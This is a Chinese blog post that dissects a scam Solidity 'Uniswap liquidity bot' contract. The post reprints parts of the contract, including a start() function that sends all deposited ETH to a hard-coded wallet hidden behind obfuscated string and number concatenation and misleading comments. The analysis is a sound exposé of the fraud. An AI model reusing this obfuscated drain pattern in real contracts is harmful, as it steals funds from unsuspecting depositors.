分析一个scam合约
最近在网上查资料时看到了一个利用合约赚钱的帖子 “Make +1200$ a day passive income with Solidity and Uniswap” ,咋一看以为是闪电贷套利之类的,但还是很好奇就点进去看了下具体是怎么玩的。(视频在油管上 BVLAbJbT59w ,完整代码在 https://rentry.co/uvdx4/raw )
视频的主要内容是教用户用remix在eth主网上部署一个合约,然后向合约转一些eth(如1 eth)。后面调用合约中的start方法开始进行自动交易,过一段时间(比如1天)就可以调用withdraw方法把钱取出来了,号称会有大概30%的收益
我本身对solidity也只有一些粗浅的理解,一开始看到这个合约还是被唬住了,觉得还是有模有样的。下面从头开始分析。
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
contract UniswapLiquidityBot {
//...
}
整个项目就一个contract,虽然引用了3个uniswap接口,但这个contract没有继承这些接口,搜索代码也没有任何地方用到。(我这里其实有些怀疑了,但不确定是不是solidity还有些特殊的玩法,毕竟之前看到一个proxy项目的代码,被一些花式玩法绕晕过)
下面来看看start方法干了啥
/*
* @dev Perform action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
function start() public payable {
emit Log("Running attack on Uniswap. This can take a while please wait...");
if (checkMempoolStarted()){
payable(_callStartActionMempool()).transfer(address(this).balance);
}
else{
payable(_callStartActionMempool()).transfer(0);
}
}
嗯,看起来没啥问题,就是判断有没有开始,然后向一个地址转了一笔钱 我们重点看一下_callStartActionMempool 这个得到地址是啥
function _callStartActionMempool() internal pure returns (address) {
return parseMemoryPool(callMempool());
}
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
// 此处省略,主要是把string转成eth address
}
/*
* @dev Iterating through all mempool to call the one with the with highest possible returns
* @return `self`.
*/
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 783155;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 537660;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolWidth = 716768;
uint _memPoolDepth = getMemPoolDepth();
uint _memPoolCount = 107685;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
emm,这段代码看起来有点复杂,看注释是从选择出一个可能最高回报的地址。 但等等,为何这个方法是pure呢(pure代表不会读取任何外部数据呢);而且,既然是多个选择一个,咋没看到循环呢;还有这一个个奇怪的数字又是啥。 继续看里面调用的checkLiquidity和mempool方法
/*
* @dev loads all Uniswap mempool into memory
* @param token An output parameter to which the first token is written.
* @return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
这个函数比较容易看懂,就是拼接两个字符串,但注释是什么鬼??? checkLiquidity跟上面类似,只是把数字转成了字符串,但注释写的像模像样
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory)
其实到这里可以看出来了,callMempool返回的是一个固定的地址,根本不会去遍历所有的合约地址并找利润最高的。
毕竟我还不是那么确定,于是我上remix测试了一下。把callMempool方法改成了public,部署了合约,调用一下callMempool这个看看,果然,调用几次都是个固定地址
出于好奇,我还上etherscan上看了一下这个地址,哦吼,还是个个人地址,不是合约地址 看下有没有人上钩哈,还真有 (7个人,总共损失 4 eth ) https://etherscan.io/address/0xe2c22bf333d41bc8343cdd15daefe0a80fd1a4a5#internaltx
我其实从来没买过eth,也没玩过任何DeFi相关的产品哈,研究这个纯属觉得好玩。大家如果要玩合约,特别是这种还需要自己部署的,更加要小心哈。毕竟,人还是很难赚到认知外的钱的。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!